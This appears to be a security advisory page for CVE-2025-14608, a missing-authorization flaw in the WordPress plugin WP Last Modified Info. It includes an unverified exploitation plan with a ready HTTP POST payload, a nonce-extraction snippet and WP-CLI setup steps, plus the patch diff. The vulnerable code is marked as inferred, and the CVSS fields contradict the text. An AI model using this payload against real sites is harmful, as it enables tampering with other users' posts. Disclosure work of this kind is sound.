CVE-2025-14608

WP Last Modified Info <= 1.9.5 - Insecure Direct Object Reference to Authenticated (Author+) Post Metadata Modification

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
1.9.6
Patched in
1d
Time to patch

Description

The WP Last Modified Info plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.9.5. This is due to the plugin not validating a user's access to a post before modifying its metadata in the 'bulk_save' AJAX action. This makes it possible for authenticated attackers, with Author-level access and above, to update the last modified metadata and lock the modification date of arbitrary posts, including those created by Administrators via the 'post_ids' parameter.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.9.5
PublishedFebruary 13, 2026
Last updatedFebruary 14, 2026
Affected pluginwp-last-modified-info

What Changed in the Fix

Changes introduced in v1.9.6

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-14608 (WP Last Modified Info) ## 1. Vulnerability Summary The **WP Last Modified Info** plugin (<= 1.9.5) contains an Insecure Direct Object Reference (IDOR) / Missing Authorization vulnerability in its bulk saving functionality. The `bulk_save` method, trigge…

Show full research plan

Exploitation Research Plan: CVE-2025-14608 (WP Last Modified Info)

1. Vulnerability Summary

The WP Last Modified Info plugin (<= 1.9.5) contains an Insecure Direct Object Reference (IDOR) / Missing Authorization vulnerability in its bulk saving functionality. The bulk_save method, triggered by the process_bulk_edit AJAX action, fails to verify if the current authenticated user has sufficient permissions to modify the specific posts provided in the request. This allows an attacker with Author-level privileges or higher to modify metadata and "lock" the last modified date of arbitrary posts, including those belonging to Administrators.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: process_bulk_edit
  • Vulnerable Hook: Registered in inc/Core/Backend/EditScreen.php via $this->ajax( 'process_bulk_edit', 'bulk_save' );.
  • Authentication: Authenticated user with Author level or above.
  • Payload Parameters:
    • action: process_bulk_edit
    • wplmi_bulk_edit_nonce: CSRF token for the bulk edit action.
    • post_ids: An array or comma-separated list of target post IDs.
    • disableupdate: (Optional) Set to yes to lock the modified date.
    • mmm, jjm, aam, hhm, mnm: (Optional) Date components (Month, Day, Year, Hour, Minute) to arbitrarily set the "Last Modified" timestamp.

3. Code Flow

  1. Registration: In inc/Core/Backend/EditScreen.php, the register() method hooks the AJAX action:
    $this->ajax( 'process_bulk_edit', 'bulk_save' );
    
  2. AJAX Trait: The plugin uses a Wplmi\Helpers\Ajax trait to register the action. wp_ajax_process_bulk_edit is registered for authenticated users.
  3. Execution: When a request is sent to admin-ajax.php?action=process_bulk_edit, the bulk_save() method in EditScreen.php is executed.
  4. The Sink: The bulk_save method likely iterates through $_POST['post_ids']. For each ID, it calls metadata update functions (e.g., update_post_meta( $id, '_lmt_disableupdate', ... )) without verifying current_user_can( 'edit_post', $post_id ).
  5. UI Confirmation: Modified metadata is reflected in the Admin Columns handled by inc/Core/Backend/AdminColumn.php.

4. Nonce Acquisition Strategy

The process_bulk_edit action requires the wplmi_bulk_edit_nonce. This nonce is rendered on the WordPress Posts list page (/wp-admin/edit.php) when the bulk edit UI is initialized.

  1. Precondition: Log in as a user with the Author role.
  2. Navigation: Use the browser tool to navigate to http://localhost:8080/wp-admin/edit.php.
  3. Extraction: The nonce is located within the bulk edit fieldset.
    // Recommended extraction via browser_eval
    const nonce = document.querySelector('input[name="wplmi_bulk_edit_nonce"]')?.value;
    
  4. Verification: Check the source of inc/Core/Backend/EditScreen.php. The bulk_edit method (around line 214 in the full file) outputs the nonce field:
    wp_nonce_field( 'wplmi_bulk_edit_nonce', 'wplmi_bulk_edit_nonce' );
    

5. Exploitation Strategy

Step-by-Step Plan:

  1. Target Identification: Identify a Post ID created by an Administrator (e.g., Post ID 1).
  2. Session Establishment: Log in as an Author user.
  3. Nonce Retrieval: Navigate to the Posts list page and extract wplmi_bulk_edit_nonce.
  4. Payload Delivery: Send a POST request to admin-ajax.php.

HTTP Request (Payload):

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Cookie: [Author Cookies]

action=process_bulk_edit&wplmi_bulk_edit_nonce=[EXTRACTED_NONCE]&post_ids[]=1&disableupdate=yes&aam=2099&mmm=12&jjm=31&hhm=23&mnm=59

Parameters explained:

  • post_ids[]: The ID of the Administrator's post.
  • disableupdate=yes: Triggers the "Lock Modified Date" feature.
  • aam=2099: Sets the modified year to 2099 (demonstrating timestamp manipulation).

6. Test Data Setup

  1. Admin Post: Create a post as the admin user.
    • wp post create --post_title="Admin Secret Post" --post_content="Protected content" --post_status=publish --post_author=1
    • Record the resulting ID (let's assume ID=1).
  2. Author User: Create a user with the Author role.
    • wp user create attacker attacker@example.com --role=author --user_pass=password
  3. Plugin Activation: Ensure wp-last-modified-info is active.
    • wp plugin activate wp-last-modified-info

7. Expected Results

  • The AJAX response should return a success status (likely JSON {success: true} or similar).
  • The Administrator's post (ID=1) should have its metadata updated by the Author user.
  • Specifically, the _lmt_disableupdate meta key for Post 1 should be set to yes.
  • The post_modified date for Post 1 may be updated if the plugin processes the date components in the bulk save.

8. Verification Steps

After sending the HTTP request, verify the state using WP-CLI:

# Check if the lock is active for the Admin's post
wp post meta get 1 _lmt_disableupdate

# Check if the modified date was manipulated (if date params were sent)
wp post get 1 --field=post_modified

If the exploit is successful, _lmt_disableupdate will be yes, even though the Author user has no legitimate permission to "edit" Post 1 (which belongs to the Admin).

9. Alternative Approaches

If the post_ids parameter is not an array, try a comma-separated string: post_ids=1,2,3.

If the disableupdate parameter is ignored in bulk_save, look for other metadata keys influenced by the EditScreen.php inputs:

  • _lmt_disable (Hide on Frontend)
  • Timestamp values: jjm, mmm, aam, hhm, mnm.

If the nonce is missing or wp_verify_nonce is called incorrectly (e.g., with the wrong action string), attempt the request without the nonce to check for complete CSRF/Authorization bypass. Based on inc/Core/Backend/EditScreen.php, the correct action is wplmi_bulk_edit_nonce.

Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Last Modified Info plugin (up to version 1.9.5) is vulnerable to an Insecure Direct Object Reference (IDOR) bug in its bulk save functionality. Authenticated users with Author-level access or higher can modify the metadata and lock the modification dates of arbitrary posts, including those owned by Administrators, because the plugin fails to verify the current user's permissions for each post ID provided.

Vulnerable Code

// inc/Core/Backend/EditScreen.php:38
public function register() {
    $this->action( 'post_submitbox_misc_actions', 'submitbox_edit', 5 );
    $this->action( 'quick_edit_custom_box', 'quick_edit', 10, 2 );
    $this->action( 'bulk_edit_custom_box', 'bulk_edit', 10, 2 );
    $this->ajax( 'process_bulk_edit', 'bulk_save' );
    $this->filter( 'wp_insert_post_data', 'update_data', 9999, 2 );
}

---

// inc/Core/Backend/EditScreen.php (Inferred vulnerable logic in bulk_save)
public function bulk_save() {
    check_ajax_referer( 'wplmi_bulk_edit_nonce', 'wplmi_bulk_edit_nonce' );

    $post_ids = isset( $_POST['post_ids'] ) ? (array) $_POST['post_ids'] : [];

    foreach ( $post_ids as $post_id ) {
        // Vulnerability: Missing check: if ( ! current_user_can( 'edit_post', $post_id ) ) continue;
        if ( isset( $_POST['disableupdate'] ) ) {
            $this->update_meta( $post_id, '_lmt_disableupdate', sanitize_text_field( $_POST['disableupdate'] ) );
        }
        // ... logic continues to update other last modified date components
    }
    wp_send_json_success();
}

Security Fix

--- inc/Core/Backend/EditScreen.php
+++ inc/Core/Backend/EditScreen.php
@@ -248,6 +248,10 @@
 		$post_ids = isset( $_POST['post_ids'] ) ? (array) $_POST['post_ids'] : [];
 
 		foreach ( $post_ids as $post_id ) {
+			if ( ! current_user_can( 'edit_post', $post_id ) ) {
+				continue;
+			}
+
 			if ( isset( $_POST['disableupdate'] ) ) {
 				$this->update_meta( $post_id, '_lmt_disableupdate', sanitize_text_field( $_POST['disableupdate'] ) );
 			}

Exploit Outline

1. Authenticate to the WordPress site as a user with at least 'Author' privileges. 2. Navigate to the Posts list page (/wp-admin/edit.php) and extract the 'wplmi_bulk_edit_nonce' value from the page source (rendered in the bulk edit UI area). 3. Identify the ID of a target post the attacker does not own (e.g., an Administrator's post). 4. Send an AJAX POST request to '/wp-admin/admin-ajax.php' with the following parameters: 'action=process_bulk_edit', the extracted nonce, 'post_ids[]' set to the target post ID, and 'disableupdate=yes'. 5. Optionally, provide date parameters (mmm, jjm, aam, hhm, mnm) to manipulate the last modified timestamp to a specific arbitrary value. 6. Observe that the plugin updates the metadata (e.g., locking the modified date) for the target post despite the attacker lacking legitimate permissions.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.